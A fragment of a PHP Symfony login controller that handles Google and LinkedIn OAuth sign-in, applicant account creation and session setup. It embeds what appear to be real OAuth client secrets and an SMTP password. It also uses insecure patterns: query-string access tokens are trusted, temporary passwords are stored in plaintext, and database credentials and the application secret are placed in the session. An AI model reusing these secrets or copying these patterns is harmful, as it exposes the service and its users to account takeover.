  7187.         $redirectRoute 'dashboard';
  7188.         if ($encData != '') {
  7189.             if ($encData == '8917922')
  7190.                 $redirectRoute 'apply_for_consultant';
  7191.         }
  7192.         if ($request->query->has('encData')) {
  7193.             $encData $request->query->get('encData');
  7194.             if ($encData == '8917922')
  7195.                 $redirectRoute 'apply_for_consultant';
  7196.         }
  7197.         $message '';
  7198.         $errorField '_NONE_';
  7199.         if ($request->query->has('message')) {
  7200.             $message $request->query->get('message');
  7201.         }
  7202.         if ($request->query->has('errorField')) {
  7203.             $errorField $request->query->get('errorField');
  7204.         }
  7205.         if ($request->request->has('oAuthData')) {
  7206.             $oAuthData $request->request->get('oAuthData', []);
  7207.         } else {
  7208.             $oAuthData = [
  7209.                 'email' => $request->request->get('email'''),
  7210.                 'uniqueId' => $request->request->get('uniqueId'''),
  7211.                 'oAuthHash' => '_NONE_',
  7212.                 'image' => $request->request->get('image'''),
  7213.                 'emailVerified' => $request->request->get('emailVerified'''),
  7214.                 'name' => $request->request->get('name'''),
  7215.                 'firstName' => $request->request->get('firstName'''),
  7216.                 'lastName' => $request->request->get('lastName'''),
  7217.                 'type' => 1,
  7218.                 'token' => $request->request->get('oAuthtoken'''),
  7219.             ];
  7220.         }
  7221.         $isApplicantExist null;
  7222.         if ($email) {
  7223.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7224.                 $isApplicantExist $applicantRepo->findOneBy([
  7225.                     'applicantId' => $sessionUserId
  7226.                 ]);
  7227.             } else
  7228.                 return $this->redirectToRoute($redirectRoute);
  7229.         }
  7230.         $google_client = new Google_Client();
  7231. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7232. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7233.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7234.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7235.         } else {
  7236.             $url $this->generateUrl(
  7237.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7238.             );
  7239.         }
  7240.         $selector BuddybeeConstant::$selector;
  7241.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7242.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7243. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7244. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7245.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7246. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7247.         $google_client->setRedirectUri($url);
  7248.         $google_client->setAccessType('offline');        // offline access
  7249.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7250.         $google_client->addScope('email');
  7251.         $google_client->addScope('profile');
  7252.         $google_client->addScope('openid');
  7253. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7254.         //linked in 1st
  7255.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7256.             $curl curl_init();
  7257.             curl_setopt_array($curl, array(
  7258.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7259.                 CURLOPT_HEADER => false,  // don't return headers
  7260.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7261.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7262.                 CURLOPT_ENCODING => "",     // handle compressed
  7263.                 CURLOPT_USERAGENT => "test"// name of client
  7264.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7265.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7266.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7267.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7268.                 CURLOPT_USERAGENT => 'InnoPM',
  7269.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7270.                 CURLOPT_POST => 1,
  7271.                 CURLOPT_HTTPHEADER => array(
  7272.                     'Content-Type: application/x-www-form-urlencoded'
  7273.                 )
  7274.             ));
  7275.             $content curl_exec($curl);
  7276.             $contentArray = [];
  7277.             curl_close($curl);
  7278.             $token false;
  7279. //      return new JsonResponse(array(
  7280. //          'content'=>$content,
  7281. //          'contentArray'=>json_decode($content,true),
  7282. //
  7283. //      ));
  7284.             if ($content) {
  7285.                 $contentArray json_decode($contenttrue);
  7286.                 $token $contentArray['access_token'];
  7287.             }
  7288.             if ($token) {
  7289.                 $applicantInfo = [];
  7290.                 $curl curl_init();
  7291.                 curl_setopt_array($curl, array(
  7292.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7293.                     CURLOPT_HEADER => false,  // don't return headers
  7294.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7295.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7296.                     CURLOPT_ENCODING => "",     // handle compressed
  7297.                     CURLOPT_USERAGENT => "test"// name of client
  7298.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7299.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7300.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7301.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7302.                     CURLOPT_USERAGENT => 'InnoPM',
  7303.                     CURLOPT_HTTPGET => 1,
  7304.                     CURLOPT_HTTPHEADER => array(
  7305.                         'Authorization: Bearer ' $token,
  7306.                         'Header-Key-2: Header-Value-2'
  7307.                     )
  7308.                 ));
  7309.                 $userGeneralcontent curl_exec($curl);
  7310.                 curl_close($curl);
  7311.                 if ($userGeneralcontent) {
  7312.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7313.                 }
  7314.                 $curl curl_init();
  7315.                 curl_setopt_array($curl, array(
  7316.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7317.                     CURLOPT_HEADER => false,  // don't return headers
  7318.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7319.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7320.                     CURLOPT_ENCODING => "",     // handle compressed
  7321.                     CURLOPT_USERAGENT => "test"// name of client
  7322.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7323.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7324.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7325.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7326. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7327.                     CURLOPT_USERAGENT => 'InnoPM',
  7328.                     CURLOPT_HTTPGET => 1,
  7329.                     CURLOPT_HTTPHEADER => array(
  7330.                         'Authorization: Bearer ' $token,
  7331.                         'Header-Key-2: Header-Value-2'
  7332.                     )
  7333.                 ));
  7334.                 $userEmailcontent curl_exec($curl);
  7335.                 curl_close($curl);
  7336.                 $token false;
  7337.                 if ($userEmailcontent) {
  7338.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7339.                 }
  7340. //        $oAuthEmail = $applicantInfo['email'];
  7341. //        return new JsonResponse(array(
  7342. //          'userEmailcontent'=>$userEmailcontent,
  7343. //          'userGeneralcontent'=>$userGeneralcontent,
  7344. //        ));
  7345. //        return new response($userGeneralcontent);
  7346.                 $oAuthData = [
  7347.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7348.                     'uniqueId' => $userGeneralcontent['id'],
  7349.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7350.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7351.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7352.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7353.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7354.                     'type' => 1,
  7355.                     'token' => $token,
  7356.                 ];
  7357.             }
  7358.         } else if (isset($_GET["code"])) {
  7359.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7360.             if (!isset($token['error'])) {
  7361.                 $google_client->setAccessToken($token['access_token']);
  7362.                 $google_service = new Google_Service_Oauth2($google_client);
  7363.                 $applicantInfo $google_service->userinfo->get();
  7364.                 $oAuthEmail $applicantInfo['email'];
  7365.                 $oAuthData = [
  7366.                     'email' => $applicantInfo['email'],
  7367.                     'uniqueId' => $applicantInfo['id'],
  7368.                     'image' => $applicantInfo['picture'],
  7369.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7370.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7371.                     'firstName' => $applicantInfo['givenName'],
  7372.                     'lastName' => $applicantInfo['familyName'],
  7373.                     'type' => $token['token_type'],
  7374.                     'token' => $token['access_token'],
  7375.                 ];
  7376.             }
  7377.         } else if (isset($_GET["access_token"])) {
  7378.             $token $_GET["access_token"];
  7379.             $tokenType $_GET["token_type"];
  7380.             if (!isset($token['error'])) {
  7381.                 $google_client->setAccessToken($token);
  7382.                 $google_service = new Google_Service_Oauth2($google_client);
  7383.                 $applicantInfo $google_service->userinfo->get();
  7384.                 $oAuthEmail $applicantInfo['email'];
  7385.                 $oAuthData = [
  7386.                     'email' => $applicantInfo['email'],
  7387.                     'uniqueId' => $applicantInfo['id'],
  7388.                     'image' => $applicantInfo['picture'],
  7389.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7390.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7391.                     'firstName' => $applicantInfo['givenName'],
  7392.                     'lastName' => $applicantInfo['familyName'],
  7393.                     'type' => $tokenType,
  7394.                     'token' => $token,
  7395.                 ];
  7396.             }
  7397.         }
  7398.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7399.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  7400.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  7401.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  7402.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  7403.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7404.                 $isApplicantExist $applicantRepo->findOneBy([
  7405.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7406.                 ]);
  7407.             }
  7408.             if ($isApplicantExist) {
  7409.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7410.                 } else
  7411.                     return $this->redirectToRoute("core_login", [
  7412.                         'id' => $isApplicantExist->getApplicantId(),
  7413.                         'oAuthData' => $oAuthData,
  7414.                         'encData' => $encData,
  7415.                         'locale' => $request->request->get('locale''en'),
  7416.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7417.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7418.                     ]);
  7419.             } else {
  7420.                 $fname $oAuthData['firstName'];
  7421.                 $lname $oAuthData['lastName'];
  7422.                 $img $oAuthData['image'];
  7423.                 $email $oAuthData['email'];
  7424.                 $oAuthEmail $oAuthData['email'];
  7425.                 $userName explode('@'$email)[0];
  7426.                 //now check if same username exists
  7427.                 $username_already_exist 1;
  7428.                 $initial_user_name $userName;
  7429.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7430.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7431.                     $isUsernameExist $applicantRepo->findOneBy([
  7432.                         'username' => $userName
  7433.                     ]);
  7434.                     if ($isUsernameExist) {
  7435.                         $username_already_exist 1;
  7436.                         $userName $initial_user_name '' rand(3009987);
  7437.                     } else {
  7438.                         $username_already_exist 0;
  7439.                     }
  7440.                     $timeoutSafeCount--;
  7441.                 }
  7442.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7443.                     $currentUnixTimeStamp '';
  7444.                     $currentUnixTime = new \DateTime();
  7445.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7446.                     $userName $userName '' $currentUnixTimeStamp;
  7447.                 }
  7448.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7449.                 $charactersLength strlen($characters);
  7450.                 $length 8;
  7451.                 $password 0;
  7452.                 for ($i 0$i $length$i++) {
  7453.                     $password .= $characters[rand(0$charactersLength 1)];
  7454.                 }
  7455.                 $newApplicant = new EntityApplicantDetails();
  7456.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7457.                 $newApplicant->setEmail($email);
  7458.                 $newApplicant->setUserName($userName);
  7459.                 $newApplicant->setFirstname($fname);
  7460.                 $newApplicant->setLastname($lname);
  7461.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7462.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7463.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7464.                 $newApplicant->setAccountStatus(1);
  7465.                 $salt uniqid(mt_rand());
  7466.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7467.                 $newApplicant->setPassword($encodedPassword);
  7468.                 $newApplicant->setSalt($salt);
  7469.                 $newApplicant->setTempPassword($password);;
  7470. //                $newApplicant->setPassword($password);
  7471.                 $marker $userName '-' time();
  7472. //                $extension_here=$uploadedFile->guessExtension();
  7473. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7474. //                $path = $fileName;
  7475.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7476.                 if (!file_exists($upl_dir)) {
  7477.                     mkdir($upl_dir0777true);
  7478.                 }
  7479.                 $ch curl_init($img);
  7480.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7481.                 curl_setopt($chCURLOPT_FILE$fp);
  7482.                 curl_setopt($chCURLOPT_HEADER0);
  7483.                 curl_exec($ch);
  7484.                 curl_close($ch);
  7485.                 fclose($fp);
  7486.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7487. //                $newApplicant->setImage($img);
  7488.                 $newApplicant->setIsConsultant(0);
  7489.                 $newApplicant->setIsTemporaryEntry(0);
  7490.                 $newApplicant->setApplyForConsultant(0);
  7491.                 $em->persist($newApplicant);
  7492.                 $em->flush();
  7493.                 $isApplicantExist $newApplicant;
  7494.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7495.                     if ($systemType == '_BUDDYBEE_') {
  7496.                         $bodyHtml '';
  7497.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7498.                         $bodyData = array(
  7499.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7500.                             'email' => $userName,
  7501.                             'password' => $newApplicant->getPassword(),
  7502.                         );
  7503.                         $attachments = [];
  7504.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7505. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7506.                         $new_mail $this->get('mail_module');
  7507.                         $new_mail->sendMyMail(array(
  7508.                             'senderHash' => '_CUSTOM_',
  7509.                             //                        'senderHash'=>'_CUSTOM_',
  7510.                             'forwardToMailAddress' => $forwardToMailAddress,
  7511.                             'subject' => 'Welcome to BuddyBee ',
  7512. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7513.                             'attachments' => $attachments,
  7514.                             'toAddress' => $forwardToMailAddress,
  7515.                             'fromAddress' => 'registration@buddybee.eu',
  7516.                             'userName' => 'registration@buddybee.eu',
  7517.                             'password' => 'Y41dh8g0112',
  7518.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7519.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7520.                             'encryptionMethod' => 'ssl',
  7521. //                            'emailBody' => $bodyHtml,
  7522.                             'mailTemplate' => $bodyTemplate,
  7523.                             'templateData' => $bodyData,
  7524. //                        'embedCompanyImage' => 1,
  7525. //                        'companyId' => $companyId,
  7526. //                        'companyImagePath' => $company_data->getImage()
  7527.                         ));
  7528.                     } else {
  7529.                         $bodyHtml '';
  7530.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7531.                         $bodyData = array(
  7532.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7533.                             'email' => 'APP-' $userName,
  7534.                             'password' => $newApplicant->getPassword(),
  7535.                         );
  7536.                         $attachments = [];
  7537.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7538. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7539.                         $new_mail $this->get('mail_module');
  7540.                         $new_mail->sendMyMail(array(
  7541.                             'senderHash' => '_CUSTOM_',
  7542.                             //                        'senderHash'=>'_CUSTOM_',
  7543.                             'forwardToMailAddress' => $forwardToMailAddress,
  7544.                             'subject' => 'Applicant Registration on Honeybee',
  7545. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7546.                             'attachments' => $attachments,
  7547.                             'toAddress' => $forwardToMailAddress,
  7548.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7549.                             'userName' => 'accounts@ourhoneybee.eu',
  7550.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  7551.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7552.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7553.                             'encryptionMethod' => 'ssl',
  7554. //                            'emailBody' => $bodyHtml,
  7555.                             'mailTemplate' => $bodyTemplate,
  7556.                             'templateData' => $bodyData,
  7557. //                        'embedCompanyImage' => 1,
  7558. //                        'companyId' => $companyId,
  7559. //                        'companyImagePath' => $company_data->getImage()
  7560.                         ));
  7561.                     }
  7562.                 }
  7563.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7564.                 } else {
  7565.                     return $this->redirectToRoute("core_login", [
  7566.                         'id' => $newApplicant->getApplicantId(),
  7567.                         'oAuthData' => $oAuthData,
  7568.                         'encData' => $encData,
  7569.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7570.                         'locale' => $request->request->get('locale''en'),
  7571.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7572.                     ]);
  7573.                 }
  7574.             }
  7575.         }
  7576.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7577.             if ($isApplicantExist) {
  7578.                 $user $isApplicantExist;
  7579.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7580.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7581.                 $globalId $user->getApplicantId();
  7582.                 $gocList $em
  7583.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7584.                     ->findBy(
  7585.                         array(//                        'active' => 1
  7586.                         )
  7587.                     );
  7588.                 $gocDataList = [];
  7589.                 $gocDataListForLoginWeb = [];
  7590.                 $gocDataListByAppId = [];
  7591.                 foreach ($gocList as $entry) {
  7592.                     $d = array(
  7593.                         'name' => $entry->getName(),
  7594.                         'image' => $entry->getImage(),
  7595.                         'id' => $entry->getId(),
  7596.                         'appId' => $entry->getAppId(),
  7597.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7598.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7599.                         'dbName' => $entry->getDbName(),
  7600.                         'dbUser' => $entry->getDbUser(),
  7601.                         'dbPass' => $entry->getDbPass(),
  7602.                         'dbHost' => $entry->getDbHost(),
  7603.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7604.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7605.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7606.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7607.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7608.                     );
  7609.                     $gocDataList[$entry->getId()] = $d;
  7610.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7611.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7612.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7613.                 }
  7614.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7615.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7616.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7617.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7618.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7619.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7620.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7621.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7622.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7623.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7624.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7625.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7626.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7627.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7628.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7629.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7630.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7631.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7632.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7633.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7634.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7635.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7636.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7637.                     $session->set('userCompanyVibrantList'json_encode([]));
  7638.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7639.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7640.                     $session->set(UserConstants::USER_APP_ID0);
  7641.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7642.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7643.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7644.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7645.                     $session->set(UserConstants::USER_GOC_ID0);
  7646.                     $session->set(UserConstants::USER_DB_NAME'');
  7647.                     $session->set(UserConstants::USER_DB_USER'');
  7648.                     $session->set(UserConstants::USER_DB_PASS'');
  7649.                     $session->set(UserConstants::USER_DB_HOST'');
  7650.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7651.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7652.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7653.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7654.                     $session->set('locale'$request->request->get('locale'''));
  7655.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7656.                     $route_list_array = [];
  7657.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7658.                     $loginID 0;
  7659.                     $loginID MiscActions::addEntityUserLoginLog(
  7660.                         $em,
  7661.                         $session->get(UserConstants::USER_ID),
  7662.                         $session->get(UserConstants::USER_ID),
  7663.                         1,
  7664.                         $request->server->get("REMOTE_ADDR"),
  7665.                         0,
  7666.                         $request->request->get('deviceId'''),
  7667.                         $request->request->get('oAuthToken'''),
  7668.                         $request->request->get('oAuthType'''),
  7669.                         $request->request->get('locale'''),
  7670.                         $request->request->get('firebaseToken''')
  7671.                     );
  7672.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7673.                     $session_data = array(
  7674.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7675.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7676.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7677.                         'oAuthToken' => $session->get('oAuthToken'),
  7678.                         'locale' => $session->get('locale'),
  7679.                         'firebaseToken' => $session->get('firebaseToken'),
  7680.                         'token' => $session->get('token'),
  7681.                         'firstLogin' => 0,
  7682.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7683.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7684.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7685.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7686.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7687.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7688.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7689.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7690.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7691.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7692.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7693.                         'oAuthImage' => $session->get('oAuthImage'),
  7694.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7695.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7696.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7697.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7698.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7699.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7700.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7701.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7702.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7703.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7704.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7705.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7706.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7707.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7708.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7709.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7710.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7711.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7712.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7713.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7714.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7715.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7716.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7717.                         //new
  7718.                         'appIdList' => $session->get('appIdList'),
  7719.                         'branchIdList' => $session->get('branchIdList'null),
  7720.                         'branchId' => $session->get('branchId'null),
  7721.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7722.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7723.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7724.                     );
  7725.                     $accessList = [];
  7726. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7727.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7728.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7729.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
